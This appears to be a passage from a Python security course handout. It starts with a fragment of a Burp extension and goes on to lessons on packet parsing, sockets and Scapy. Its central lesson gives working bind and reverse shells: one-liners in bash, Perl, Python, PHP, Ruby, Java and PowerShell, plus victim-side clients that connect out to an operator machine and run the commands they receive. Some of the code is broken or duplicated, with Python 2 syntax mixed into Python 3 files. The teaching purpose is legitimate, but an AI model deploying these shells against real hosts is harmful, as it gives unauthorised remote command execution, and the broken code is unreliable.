             requestStr = self._baseRequest.tostring()
 
             newRequest = requestStr.replace(self._baseValue, payload)
             newRequestB = StringUtil.toBytes(newRequest)
 
             # update the request with the new parameter value
             return newRequestB
 
     def getPayloadOffsets(self, payload):
         return [0, len(payload.tostring())]
 
     def getInsertionPointType(self):
         return INS_EXTENSION_PROVIDED
 
 #
 # class implementing IScanIssue to hold our custom scan issue details
 #
 class CustomScanIssue (IScanIssue):
     def __init__(self, httpService, url, httpMessages, name, detail, severity):
         self._httpService = httpService
         self._url = url
         self._httpMessages = httpMessages
         self._name = name
         self._detail = detail
         self._severity = severity
 
     def getUrl(self):
         return self._url
 
     def getIssueName(self):
         return self._name
 
     def getIssueType(self):
         return 0
 
     def getSeverity(self):
         return self._severity
 
     def getConfidence(self):
         return "Certain"
 
     def getIssueBackground(self):
         pass
 
     def getRemediationBackground(self):
         pass
 
     def getIssueDetail(self):
         return self._detail
 
     def getRemediationDetail(self):
         pass
 
     def getHttpMessages(self):
         return self._httpMessages
 
     def getHttpService(self):
         return self._httpService
 
 
 
 
 
 
 
 
 
 
 -------------------------- Old Content below --------------------------
 -------------------------- Old Content below --------------------------
 -------------------------- Old Content below --------------------------
 -------------------------- Old Content below --------------------------
 -------------------------- Old Content below --------------------------
 -------------------------- Old Content below --------------------------
 -------------------------- Old Content below --------------------------
 -------------------------- Old Content below --------------------------
 -------------------------- Old Content below --------------------------
 -------------------------- Old Content below --------------------------
 -------------------------- Old Content below --------------------------
 
 
 
 
 
 
 
 
 
 
 
 
 
 #################################################
 # Lesson 16: Parsing Packets with Python's DPKT #
 #################################################
 The first thing that you will need to do is install dpkt.
 
 ---------------------------Type This-----------------------------------
 
 
  pip install dpkt
 
 ----------------------------------------------------------------------
 
 
 
 Now cd to your courseware directory, and the cd into the subfolder '2-PCAP-Parsing/Resources'.
 Run tcpdump to capture a .pcap file that we will use for the next exercise
 
 ---------------------------Type This-----------------------------------
 
 sudo tcpdump -ni wlp8s0 -s0 -w quick.pcap
 
 ----------------------------------------------------------------------
 
 
 --open another command prompt--
 
 ---------------------------Type This-----------------------------------
 
 
 wget http://packetlife.net/media/library/12/tcpdump.pdf
 
 ----------------------------------------------------------------------
 
 Let's do something simple:
 
 ---------------------------Type This-----------------------------------
 
 
 vi quickpcap.py
 
 ---------------------------Paste This-----------------------------------
 
 #!/usr/bin/env python3
 import dpkt
 
 # Simple script to read the timestamps in a pcap file
 # Reference: http://superbabyfeng.blogspot.com/2009/05/dpkt-tutorial-0-simple-example-how-to.html
 
 f = open("quick.pcap","r")
 pcap = dpkt.pcap.Reader(f)
 
 for ts, buf in pcap:
 	print (ts)
 
 f.close()
 
 
 
 ----------------------------------------------------------------------
 
 
 Now let's run the script we just wrote
 
 ---------------------------Type This-----------------------------------
 
 $ python3 quickpcap.py
 
 ----------------------------------------------------------------------
 
 
 
 How dpkt breaks down a packet:
 
 Reference:
 http://superbabyfeng.blogspot.com/2009/05/dpkt-tutorial-1-dpkt-sub-modules.html
 
     src: the MAC address of SOURCE.
     dst: The MAC address of DESTINATION
     type: The protocol type of contained ethernet payload.
 
 The allowed values are listed in the file "ethernet.py",
 such as:
 a) ETH_TYPE_IP: It means that the ethernet payload is IP layer data.
 b) ETH_TYPE_IPX: Means that the ethernet payload is IPX layer data.
 
 
 References:
 http://stackoverflow.com/questions/6337878/parsing-pcap-files-with-dpkt-python
 
 
 
 
 
 
 
 Ok - now let's have a look at pcapparsing.py
 
 ---------------------------Type This-----------------------------------
 
 
 sudo tcpdump -ni wlp8s0 -s0 -w capture-100.pcap
 
 ----------------------------------------------------------------------
 
 --open another command prompt--
 
 ---------------------------Type This-----------------------------------
 
 
 wget http://packetlife.net/media/library/13/Wireshark_Display_Filters.pdf
 
 ----------------------------------------------------------------------
 
 
 Ok - now let's have a look at pcapparsing.py
 
 
 --------------------------------------------------------------
 
 ****************************************
 import socket
 import dpkt
 import sys
 f = open('capture-100.pcap','r')
 pcapReader = dpkt.pcap.Reader(f)
 
 for ts,data in pcapReader:
     ether = dpkt.ethernet.Ethernet(data)
     if ether.type != dpkt.ethernet.ETH_TYPE_IP: raise
     ip = ether.data
     tcp = ip.data
     src = socket.inet_ntoa(ip.src)
     srcport = tcp.sport
     dst = socket.inet_ntoa(ip.dst)
     dstport = tcp.dport
     print(("src: %s (port : %s)-> dest: %s (port %s)" % (src,srcport ,dst,dstport)))
 
 f.close()
 
 ----------------------------------------------------------------------
 
 
 
 OK - let's run it:
 
 ---------------------------Type This-----------------------------------
 
 $ python3 pcapparsing.py
 
 ----------------------------------------------------------------------
 
 ----------------------------------------------------------------------
 
 
 running this script might throw an error like this:
 
 Traceback (most recent call last):
   File "pcapparsing.py", line 9, in <module>
     if ether.type != dpkt.ethernet.ETH_TYPE_IP: raise
 
 
 If it does it is just because your packet has something in it that we didn't specify (maybe ICMP, or something)
 
 
 
 
 Your homework for today...
 
 
 Rewrite this pcapparsing.py so that it prints out the timestamp, the source and destination IP addresses, and the source and destination ports.
 
 ***********************************************************
 
 
 
 
 Your challenge is to fix the Traceback error
 
 
 
 
 ----------------------------------------------------------------------
 
 
 running this script might throw an error like this:
 
 Traceback (most recent call last):
   File "pcapparsing.py", line 9, in <module>
     if ether.type != dpkt.ethernet.ETH_TYPE_IP: raise
 
 
 If it does it is just because your packet has something in it that we didn't specify (maybe ICMP, or something)
 
 
 
 
 Your homework for today...
 
 
 Rewrite this pcapparsing.py so that it prints out the timestamp, the source and destination IP addresses, and the source and destination ports.
 
 ***********************************************************
 
 
 
 
 Your challenge is to fix the Traceback error
 
 ---------------------------Paste This-----------------------------------
 
 import pcapy
 import dpkt
 import sys
 import socket
 import struct
 
 SINGLE_SHOT = False
 
 # list all the network devices
 pcapy.findalldevs()
 
 iface = "wlp8s0"
 filter = "arp"
 max_bytes = 1024
 promiscuous = False
 read_timeout = 100 # in milliseconds
 
 pc = pcapy.open_live( iface, max_bytes, promiscuous, read_timeout )
 pc.setfilter( filter )
 
 # callback for received packets
 def recv_pkts(hdr, data):
     packet = dpkt.ethernet.Ethernet( data )
 
     print (type( packet.data ))
     print ("ipsrc: %s, ipdst: %s" %( \
                  socket.inet_ntoa( packet.data.spa ), \
                  socket.inet_ntoa( packet.data.tpa ) ))
 
     print ("macsrc: %s, macdst: %s " % (
                 "%x:%x:%x:%x:%x:%x" % struct.unpack("BBBBBB",packet.data.sha),
                 "%x:%x:%x:%x:%x:%x" % struct.unpack("BBBBBB",packet.data.tha ) ))
 
 if SINGLE_SHOT:
     header, data = pc.next()
     sys.exit(0)
 else:
     packet_limit = -1 # infinite
     pc.loop( packet_limit, recv_pkts ) # capture packets
 
 
 ----------------------------------------------------------------------
 
 
 
 
 ##################################
 # Day 1 Homework videos to watch #
 ##################################
 Here is your first set of youtube videos that I'd like for you to watch:
 https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA (watch videos 1-10)
 
 How to install idle in Mac OS X:
 https://stackoverflow.com/questions/8792044/how-do-i-launch-idle-the-development-environment-for-python-on-mac-os-10-7
 
 
 
 
 ########################
 # Day 1 Challenge task #
 ########################
 Rewrite this pcapparsing.py so that it prints out the timestamp, the source and destination IP addresses, and the source and destination ports.
 
 Running the current version of the script may give you an error like this:
 
 Traceback (most recent call last):
   File "pcapparsing.py", line 9, in <module>
     if ether.type != dpkt.ethernet.ETH_TYPE_IP: raise
 
 
 If it does it is just because your packet has something in it that we didn't specify (maybe ICMP, or something)
 
 Your challenge task is to fix the Traceback error
 
 
 
 
 
 
                             #################################
 ----------- ############### # Day 2: Python sockets & Scapy # ############### -----------
                             #################################
 
 
 
 
 
 #############################################
 # Lesson 17: Python Sockets & Port Scanning #
 #############################################
 
 ---------------------------Type This-----------------------------------
 
 $ sudo /sbin/iptables -F
 
 $ ncat -l -v -p 1234
 
 ----------------------------------------------------------------------
 
 
 
 --open another terminal--
 
 ---------------------------Type This-----------------------------------
 
 $ python3
 
 import socket
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.connect(('localhost', 1234))
 s.send('Hello World'.encode())
 data = s.recv(1024)
 s.close()
 
 print ('Received', data)
 
 
 
 ----------------------------------------------------------------------
 
 
 
 
 ########################################
 # Lesson 18: TCP Client and TCP Server #
 ########################################
 
 
 ---------------------------Type This-----------------------------------
 
 
 vi tcpclient.py
 
 ---------------------------Paste This-----------------------------------
 
 
 #!/usr/bin/env python3
 # tcpclient.py
 
 #!/usr/bin/python
 # tcpclient.py
 
 import socket
 
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 hostport = ("127.0.0.1", 1337)
 s.connect(hostport)
 s.send('Hello World'.encode())
 buf = s.recv(1024)
 print ("Received", buf)
 
 
 
 
 ----------------------------------------------------------------------
 
 
 ---------------------------Type This-----------------------------------
 
 
 
 
 
 
 vi tcpserver.py
 
 
 ---------------------------Paste This-----------------------------------
 
 
 #!/usr/bin/env python3
 # tcpserver.py
 
 import socket
 
 import socket
 
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 hostport = ("localhost", 1337)
 s.bind(hostport)
 s.listen(10)
 while 1:
 	cli,addr = s.accept()
 	print ("Connection from", addr)
 	buf = cli.recv(1024)
 	print ("Received", buf)
 	if buf == "Hello\n":
 		cli.send("Server ID 1\n")
 	cli.close()
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 hostport = ("", 1337)
 s.bind(hostport)
 s.listen(10)
 while 1:
 	cli,addr = s.accept()
 	print "Connection from", addr
 	buf = cli.recv(1024)
 	print "Received", buf
 	if buf == "Hello\n":
 		cli.send("Server ID 1\n")
 	cli.close()
 
 
 
 
 ----------------------------------------------------------------------
 
 
 ---------------------------Type This-----------------------------------
 
 
 $ python3 tcpserver.py
 
 
 --open another terminal--
 $ python3 tcpclient.py
 
 
 ########################################
 # Lesson 19: UDP Client and UDP Server #
 ########################################
 
 ---------------------------Type This-----------------------------------
 
 vi udpclient.py
 
 
 
 ---------------------------Paste This-----------------------------------
 
 import socket
 
 msgFromClient       = "Hello UDP Server"
 bytesToSend         = str.encode(msgFromClient)
 serverAddressPort   = ("127.0.0.1", 20001)
 bufferSize          = 1024
 
 # Create a UDP socket at client side
 UDPClientSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
 # Send to server using created UDP socket
 UDPClientSocket.sendto(bytesToSend, serverAddressPort)
 msgFromServer = UDPClientSocket.recvfrom(bufferSize)
 msg = "Message from Server {}".format(msgFromServer[0])
 print(msg)
 
 ----------------------------------------------------------------------
 
 
 
 
 ---------------------------Type This-----------------------------------
 
 
 vi udpserver.py
 
 
 ---------------------------Paste This-----------------------------------
 
 import socket
 
 localIP     = "127.0.0.1"
 localPort   = 20001
 bufferSize  = 1024
 msgFromServer       = "Hello UDP Client"
 bytesToSend         = str.encode(msgFromServer)
 # Create a datagram socket
 UDPServerSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
 # Bind to address and ip
 UDPServerSocket.bind((localIP, localPort))
 print("UDP server up and listening")
 # Listen for incoming datagrams
 while(True):
     bytesAddressPair = UDPServerSocket.recvfrom(bufferSize)
     message = bytesAddressPair[0]
     address = bytesAddressPair[1]
     clientMsg = "Message from Client:{}".format(message)
     clientIP  = "Client IP Address:{}".format(address)
     print(clientMsg)
     print(clientIP)
 
     # Sending a reply to client
     UDPServerSocket.sendto(bytesToSend, address)
 
 ----------------------------------------------------------------------
 
 
 ---------------------------Type This-----------------------------------
 
 
 $ python3 udpserver.py
 
 
 --open another terminal--
 $ python3 udpclient.py
 
 
 
 ----------------------------------------------------------------------
 
 
 ######################################
 # Lesson 20: Bind and Reverse Shells #
 ######################################
 
 ---------------------------Type This-----------------------------------
 
 
 vi simplebindshell.py
 
 ---------------------------Paste This-----------------------------------
 
 #!/bin/env python3
 import os,sys,socket
 
 ls = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
 print ('-Creating socket..')
 port = 31337
 try:
 	ls.bind(('', port))
 	print ('-Binding the port on ')
 	ls.listen(1)
 	print ('-Listening, ')
 	(conn, addr) = ls.accept()
 	print ('-Waiting for connection...')
 	cli= conn.fileno()
 	print ('-Redirecting shell...')
 	os.dup2(cli, 0)
 	print ('In, ')
 	os.dup2(cli, 1)
 	print ('Out, ')
 	os.dup2(cli, 2)
 	print ('Err')
 	print ('Done!')
 	arg0=('/bin/sh')
 	arg1=('-a')
 	args=[arg0]+[arg1]
 	os.execv(arg0, args)
 except(socket.error):
 	print ('fail\n')
 	conn.close()
 	sys.exit(1)
 
 
 ----------------------------------------------------------------------
 
 
 
 ---------------------------Type This-----------------------------------
 
 nc TARGETIP 31337
 
 ----------------------------------------------------------------------
 
 
 ---------------------
 Preparing the target for a reverse shell
 
 ---------------------------Type This-----------------------------------
 
 $ ncat -lvp 4444
 
 --open another terminal--
 wget https://www.trustedsec.com/files/simple_py_shell.py
 
 vi simple_py_shell.py
 
 
 #!/usr/bin/env python3
 # imports here
 # Copyright 2012 TrustedSec, LLC. All rights reserved.
 #
 # This piece of software code is licensed under the FreeBSD license..
 #
 # Visit http://www.freebsd.org/copyright/freebsd-license.html for more information.
 import socket,subprocess
 HOST = '192.168.1.54'    # The remote host
 PORT = 4444            # The same port as used by the server
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 # connect to attacker machine
 s.connect((HOST, PORT))
 # send we are connected
 s.send('[*] Connection Established!')
 # start loop
 while 1:
      # recieve shell command
      data = s.recv(1024)
      # if its quit, then break out and close socket
      if data == "quit": break
      # do shell command
      proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
      # read output
      stdout_value = proc.stdout.read() + proc.stderr.read()
      # send output to attacker
      s.send(stdout_value)
 # close socket
 s.close()
 
 
 
 
 -------------------------------
 Tricky shells
 
 Reference:
 http://securityweekly.com/2011/10/python-one-line-shell-code.html
 http://resources.infosecinstitute.com/creating-undetectable-custom-ssh-backdoor-python-z/
 
 
 
 What is os.dup2?
 https://stackoverflow.com/questions/45517168/what-does-os-dup2-do-in-a-python-reverse-shell-when-used-with-the-socket
 
 
 
 
 
 Lots of reverse shells in different languages
 ---------------------------------------------------------------------
 
 
 
 Lots of reverse shells in different languages
 ---------------------------------------------------------------------
 
 
 
 ########
 # Bash #
 ########
 
 ---------------------------Type This-----------------------------------
 
 
 bash -i >& /dev/tcp/127.0.0.1/8080 0>&1
 
 ----------------------------------------------------------------------
 
 
 ########
 # Perl #
 ########
 
 ---------------------------Type This-----------------------------------
 
 
 perl -e 'use Socket;$i="127.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
 
 
 
 cat perlbackdoor.pl
 #!/usr/bin/perl
 use Socket;
 use FileHandle;
 $IP = $ARGV[0];
 $PORT = $ARGV[1];
 socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname("tcp"));
 connect(SOCKET, sockaddr_in($PORT,inet_aton($IP)));
 SOCKET->autoflush();
 open(STDIN, ">&SOCKET");
 open(STDOUT,">&SOCKET");
 open(STDERR,">&SOCKET");
 system("/bin/sh -i");
 
 ----------------------------------------------------------------------
 
 ##########
 # Python #
 ##########
 
 ---------------------------Type This-----------------------------------
 
 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
 
 ----------------------------------------------------------------------
 
 #######
 # Php #
 #######
 ---------------------------Type This-----------------------------------
 
 php -r '$sock=fsockopen("127.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
 
 ----------------------------------------------------------------------
 
 ########
 # ruby #
 ########
 ---------------------------Type This-----------------------------------
 
 ruby -rsocket -e'f=TCPSocket.open("127.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
 
 ----------------------------------------------------------------------
 
 
 ########
 # Java #
 ########
 ---------------------------Type This-----------------------------------
 
 r = Runtime.getRuntime()
 p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
 p.waitFor()
 
 
 exec 5<>/dev/tcp/127.0.0.1/1234
 
 
 cat <&5 | while read line; do $line 2>&5 >&5; done
 
 exec 5<>/dev/tcp/127.0.0.1/1234
 
 while read line 0<&5; do $line 2>&5 >&5; done
 0<&196;exec 196<>/dev/tcp/127.0.0.1/1234; sh <&196 >&196 2>&196
 
 ----------------------------------------------------------------------
 
 ##############
 # Powershell #
 ##############
 ---------------------------Type This-----------------------------------
 
 powershell -command "function ReverseShellClean {if ($client.Connected -eq $true) {$client.Close()};  if ($process.ExitCode -ne $null) {$process.Close()};  exit;  };$address = '127.0.0.1';  $port = '1234';$client = New-Object system.net.sockets.tcpclient; $client.connect($address,$port) ;$stream = $client.GetStream();$networkbuffer = New-Object System.Byte[] $client.ReceiveBufferSize  ;$process = New-Object System.Diagnostics.Process  ;$process.StartInfo.FileName = 'C:\\windows\\system32\\cmd.exe'  ;$process.StartInfo.RedirectStandardInput = 1  ;$process.StartInfo.RedirectStandardOutput = 1;$process.StartInfo.UseShellExecute = 0  ;$process.Start()  ;$inputstream = $process.StandardInput  ;$outputstream = $process.StandardOutput  ;Start-Sleep 1  ;$encoding = new-object System.Text.AsciiEncoding  ;while($outputstream.Peek() -ne -1){$out += $encoding.GetString($outputstream.Read())};$stream.Write($encoding.GetBytes($out),0,$out.Length)  ;$out = $null; $done = $false; $testing = 0; ;while (-not $done) {if ($client.Connected -ne $true) {cleanup}  ;$pos = 0; $i = 1;  while (($i -gt 0) -and ($pos -lt $networkbuffer.Length)) { $read = $stream.Read($networkbuffer,$pos,$networkbuffer.Length - $pos);  $pos+=$read; if ($pos -and ($networkbuffer[0..$($pos-1)] -contains 10)) {break}}  ;if ($pos -gt 0){ $string = $encoding.GetString($networkbuffer,0,$pos);  $inputstream.write($string);  start-sleep 1;  if ($process.ExitCode -ne $null) {ReverseShellClean};else {  $out = $encoding.GetString($outputstream.Read()); while($outputstream.Peek() -ne -1){;  $out += $encoding.GetString($outputstream.Read()); if ($out -eq $string) {$out = ''}};  $stream.Write($encoding.GetBytes($out),0,$out.length);  $out = $null;  $string = $null}} else {ReverseShellClean}};"
 
 
 
 ----------------------------------------------------------------------
 
 
 
 
 
 ###############################
 # Reverse Shell in Python 3.6 #
 ###############################
 
 We'll create 2 python files. One for the server and one for the client.
 
 - Below is the python code that is running on victim/client Windows machine:
 
 ---------------------------Paste This-----------------------------------
 
 # Client
 
 import socket # For Building TCP Connection
 import subprocess # To start the shell in the system
 
 def connect():
     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
     s.connect(('192.168.1.52',8083))
 
     while True:                         #keep receiving commands
         command = s.recv(1024)
 
         if 'terminate'.encode() in command:
             s.close() #close the socket
             break
 
         else:
 
             CMD = subprocess.Popen(command, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
             s.send( CMD.stdout.read()  )  # send the result
             s.send( CMD.stderr.read()  )  # incase you mistyped a command.
             # we will send back the error
 
 def main ():
     connect()
 main()
 
 
 
 
 ----------------------------------------------------------------------
 
 - Below is the code that we should run on server unit, in our case InfosecAddicts Ubuntu machine ( Ubuntu IP: 192.168.243.150 )
 
 ---------------------------Paste This-----------------------------------
 
 # Server
 
 import socket # For Building TCP Connection
 
 
 def connect ():
 
     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
     s.bind(("192.168.1.52", 8083))
     s.listen(1)
     conn, addr = s.accept()
     print ('[+] We got a connection from:  '.encode(), addr)
 
 
     while True:
          command = input("Shell> ".encode())
 
          if 'terminate' in command:
              conn.send('termminate')
              conn.close()  # close the connection with host
              break
 
          else:
              conn.send(command)   #send command
              print (conn.recv(1024))
 
 def main ():
     connect()
 main()
 
 ----------------------------------------------------------------------
 
 - First run server.py code from Ubuntu machine. From command line type:
 
 ---------------------------Type This-----------------------------------
 
 $ python3 server.py
 
 
 ----------------------------------------------------------------------
 
 - First run server.py code from Ubuntu machine. From command line type:
 
 ---------------------------Type This-----------------------------------
 
 $ python3 server.py
 
 ----------------------------------------------------------------------
 
 - then check if 8080 port is open, and if we are listening on 8080:
 
 ---------------------------Type This-----------------------------------
 
 netstat -antp | grep "8080"
 
 ----------------------------------------------------------------------
 
 - Then on victim ( Windows ) unit run client.py code.
 
 
 - Connection will be established, and you will get a shell on Ubuntu:
 
 ---------------------------Type This-----------------------------------
 
 infosecaddicts@ubuntu:~$ python server.py
 [+] We got a connection from:   ('192.168.243.1', 56880)
 Shell> arp -a
 
 Shell> ipconfig
 
 Shell> dir
 ----------------------------------------------------------------------
 
 
 
 
 it was not possible to do this in python 3
 
 ##########################################
 # HTTP based reverse shell in Python 3.6 #
 ##########################################
 
 
 - The easiest way to install python modules and keep them up-to-date is with a Python-based package manager called Pip
 - Download get-pip.py from https://bootstrap.pypa.io/get-pip.py on your Windows machine
 
 Then run python get-pip.py from command line. Once pip is installed you may use it to install packages.
 
 - Install requests package:
 ---------------------------Type This-----------------------------------
 
 $ python3 -m pip install requests
 
 ----------------------------------------------------------------------
 
 - Copy and paste below code into client_http.py on your Windows machine:
 
 - In my case server/ubuntu IP is 192.168.243.150. You need to change IP to your server address, in both codes (client_http.py, server_HTTP.py)
 
 ---------------------------Paste This-----------------------------------
 #######import BaseHTTPServer does not work in python 3.x#####
 
 # client_http
 
 import requests
 import subprocess
 import time
 
 
 while True:
     req = requests.get('http://192.168.243.150')
     command = req.text
 
     if 'terminate' in command:
         break
 
     else:
         CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
         post_response = requests.post(url='http://192.168.243.150', data=CMD.stdout.read() )
         post_response = requests.post(url='http://192.168.243.150', data=CMD.stderr.read() )
 
     time.sleep(3)
 
 ----------------------------------------------------------------------
 
 - Copy and paste below code into server_HTTP.py on your Ubuntu unit (server):
 
 
 ---------------------------Paste This-----------------------------------
 ###import BaseHTTPServer does not work in python 3.x####
 import BaseHTTPServer
 HOST_NAME = '192.168.243.150'
 PORT_NUMBER = 80
 class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
 
     def do_GET(s):
         command = raw_input("Shell> ")
         s.send_response(200)
         s.send_header("Content-type", "text/html")
         s.end_headers()
         s.wfile.write(command)
 
 
     def do_POST(s):
         s.send_response(200)
         s.end_headers()
         length = int(s.headers['Content-Length'])
         postVar = s.rfile.read(length)
         print postVar
 
 if __name__ == '__main__':
     server_class = BaseHTTPServer.HTTPServer
     httpd = server_class((HOST_NAME, PORT_NUMBER), MyHandler)
 
     try:
         httpd.serve_forever()
     except KeyboardInterrupt:
         print'[!] Server is terminated'
         httpd.server_close()
 
 ----------------------------------------------------------------------
 
 - run server_HTTP.py on Ubuntu with next command:
 
 ---------------------------Type This-----------------------------------
 
 infosecaddicts@ubuntu:~$ sudo python server_HTTP.py
 
 ----------------------------------------------------------------------
 
 
 - on Windows machine run client_http.py
 
 - on Ubuntu you will see that connection is established:
 
 ---------------------------Type This-----------------------------------
 
 infosecaddicts@ubuntu:~$ sudo python server_HTTP.py
 Shell> dir
 ----------------------------------------------------------------------
 
 192.168.243.1 - - [25/Sep/2017 12:21:40] "GET / HTTP/1.1" 200 -
 192.168.243.1 - - [25/Sep/2017 12:21:40] "POST / HTTP/1.1" 200 -
  Volume in drive C has no label.
 
 ________________________________________________________________________
 
 
 
 
 ############################################
 # Multi-Threaded Reverse Shell in Python 3 #
 ############################################
 
 
 - We'll again create 2 files, one for server and one for client/victim. This code is adjusted to work on python2.7
 
 Copy and paste code from below into server.py file on Ubuntu(server) machine and run it with command python server.py:
 
 
 Server.py code:
 ---------------------------Paste This-----------------------------------
 
 
 import socket
 import sys
 
 # Create socket (allows two computers to connect)
 
 def socket_create():
     try:
         global host
         global port
         global s
         host = ''
         port = 9999
         s = socket.socket()
     except socket.error as msg:
         print("Socket creation error: " + str(msg))
 
 # Bind socket to port and wait for connection from client
 def socket_bind():
     try:
         global host
         global port
         global s
         print("Binding socket to port: " + str(port))
         s.bind((host,port))
         s.listen(5)
     except socket.error as msg:
         print("Socket binding error: " + str(msg) + "\n" + "Retrying...")
         socket_bind()
 
 # Establish a connection with client (socket must be listening for them)
 def socket_accept():
     conn, address = s.accept()
     print("Connection has been established | " + "IP " + address[0] + " | Port " + str(address[1]))
     send_commands(conn)
     conn.close()
 
 
 # Send commands
 def send_commands(conn):
     while True:
         cmd = input()                          #input() is changed to raw_input() in order to work on python2.7
         if cmd == 'quit':
             conn.close()
             s.close()
             sys.exit()
         if len(str.encode(cmd))>0:
             conn.send(str.encode(cmd))
             client_response = str(conn.recv(1024))  # had issue with encoding and I have removed utf-8 from client_response = str(conn.recv(1024),"utf-8")
             print(client_response)
 # References for str.encode/decode
 # https://www.tutorialspoint.com/python/string_encode.htm
 # https://www.tutorialspoint.com/python/string_decode.htm
 
 
 def main():
     socket_create()
     socket_bind()
     socket_accept()
 
 main()
 
 
 
 
 
 ----------------------------------------------------------------------
 
 
 -After you have aleady run server.py on Ubuntu, you can then run client.py file from Windows(client) unit. Code is below:
 
 Client.py code:
 
 ---------------------------Paste This-----------------------------------
 
 import os
 import socket
 import subprocess
 
 s = socket.socket()
 host = '192.168.1.54'    # change to IP address of your server
 port = 9999
 s.connect((host, port))
 
 while True:
     data = s.recv(1024)
     if data[:2].decode("utf-8") == 'cd':
         os.chdir(data[3:].decode("utf-8"))
     if len(data) > 0:
         cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
         output_bytes = cmd.stdout.read() + cmd.stderr.read()
         output_str = str(output_bytes)                         # had issue with encoding, in origin code is output_str = str(output_bytes, "utf-8")
         s.send(str.encode(output_str + str(os.getcwd()) + '> '))
         print(output_str)
 # References for str.encode/decode
 # https://www.tutorialspoint.com/python/string_encode.htm
 # https://www.tutorialspoint.com/python/string_decode.htm
 
 # Close connection
 s.close()
 
 
 ----------------------------------------------------------------------
 
 ---------------------------Type This-----------------------------------
 
 $ python3 client.py
 ----------------------------------------------------------------------
 
 - Then return back to Ubuntu and you will see that connection is established and you can run commands from shell.
 
 ---------------------------Type This-----------------------------------
 
 infosecaddicts@ubuntu:~$ python3 server.py
 
 ----------------------------------------------------------------------
 
 Binding socket to port: 9999
 Connection has been established | IP 192.168.243.1 | Port 57779
 dir
  Volume in drive C has no label.
 
 
  Directory of C:\Python27
 
 
 
 
 ###############################
 # Lesson 21: Installing Scapy #
 ###############################
 
 ---------------------------Type This-----------------------------------
 
 sudo apt-get update
 sudo apt-get install python-scapy python-pyx python-gnuplot
 
 ----------------------------------------------------------------------
 
 Reference Page For All Of The Commands We Will Be Running:
 http://samsclass.info/124/proj11/proj17-scapy.html
 
 Great slides for Scapy:
 http://www.secdev.org/conf/scapy_csw05.pdf
 
 
 
 
 To run Scapy interactively
 ---------------------------Type This-----------------------------------
 
 	sudo scapy
 
 ----------------------------------------------------------------------
 
 
 ################################################
 # Lesson 22: Sending ICMPv4 Packets with scapy #
 ################################################
 
 In the Linux machine, in the Terminal window, at the >>> prompt, type this command, and then press the Enter key:
 
 ---------------------------Type This-----------------------------------
 
     i = IP()
 
 ----------------------------------------------------------------------
 
 
 
 This creates an object named i of type IP. To see the properties of that object, use the display() method with this command:
 
 ---------------------------Type This-----------------------------------
 
     i.display()
 
 ----------------------------------------------------------------------
 
 
 
 Use these commands to set the destination IP address and display the properties of the i object again. Replace the IP address in the first command with the IP address of your target Windows machine:
 
 ---------------------------Type This-----------------------------------
 
     i.dst="10.65.75.49"
 
     i.display()
 
 
 ----------------------------------------------------------------------
 
 
 Notice that scapy automatically fills in your machine's source IP address.
 
 Use these commands to create an object named ic of type ICMP and display its properties:
 
 ---------------------------Type This-----------------------------------
 
     ic = ICMP()
 
     ic.display()
 
 
 ----------------------------------------------------------------------
 
 
 
 Use this command to send the packet onto the network and listen to a single packet in response. Note that the third character is the numeral 1, not a lowercase L:
 
 ---------------------------Type This-----------------------------------
 
     sr1(i/ic)
 
 ----------------------------------------------------------------------
 
 
 
 
 This command sends and receives one packet, of type IP at layer 3 and ICMP at layer 4. As you can see in the image above, the response is shown, with ICMP type echo-reply.
 
 The Padding section shows the portion of the packet that carries higher-level data. In this case it contains only zeroes as padding.
 
 Use this command to send a packet that is IP at layer 3, ICMP at layer 4, and that contains data with your name in it (replace YOUR NAME with your own name):
 
 ---------------------------Type This-----------------------------------
 
     sr1(i/ic/"YOUR NAME")
 
 ----------------------------------------------------------------------
 
 You should see a reply with a Raw section containing your name.
 
 
 
 ##############################################
 # Lesson 23: Sending a UDP Packet with Scapy #
 ##############################################
 
 
 Preparing the Target
 
 ---------------------------Type This-----------------------------------
 
 $ ncat -ulvp 4444
 
 ----------------------------------------------------------------------
 
 
 
 --open another terminal--
 In the Linux machine, in the Terminal window, at the >>> prompt, type these commands, and then press the Enter key:
 
 ---------------------------Type This-----------------------------------
 
 
     u = UDP()
 
     u.display()
 
 ----------------------------------------------------------------------
 
 
 This creates an object named u of type UDP, and displays its properties.
 
 Execute these commands to change the destination port to 4444 and display the properties again:
 
 ---------------------------Type This-----------------------------------
 
     i.dst="10.10.2.97"				<--- replace this with a host that you can run netcat on (ex: another VM or your host computer)
 
     u.dport = 4444
 
     u.display()
 
 ----------------------------------------------------------------------
 
 
 Execute this command to send the packet to the Windows machine:
 
